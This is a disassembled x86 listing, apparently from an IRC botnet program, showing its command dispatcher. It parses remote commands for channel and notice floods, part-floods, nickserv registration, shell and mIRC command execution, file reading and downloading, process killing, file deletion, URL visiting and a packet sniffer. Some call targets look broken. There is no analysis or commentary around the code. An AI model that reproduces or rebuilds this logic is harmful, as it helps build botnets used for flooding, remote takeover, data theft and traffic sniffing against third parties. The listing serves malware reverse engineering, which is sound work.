		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B93C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B920
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B90C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		call	near ptr 2690ACEh
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B888
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 26803B2h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B884
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B85C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 26803B2h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	near ptr 26803B2h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7FC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26803B2h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26803B2h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26803B2h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A5C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA6C


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB17C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B784
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B68C
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset dword_42B620
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5E4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5B8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B590
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
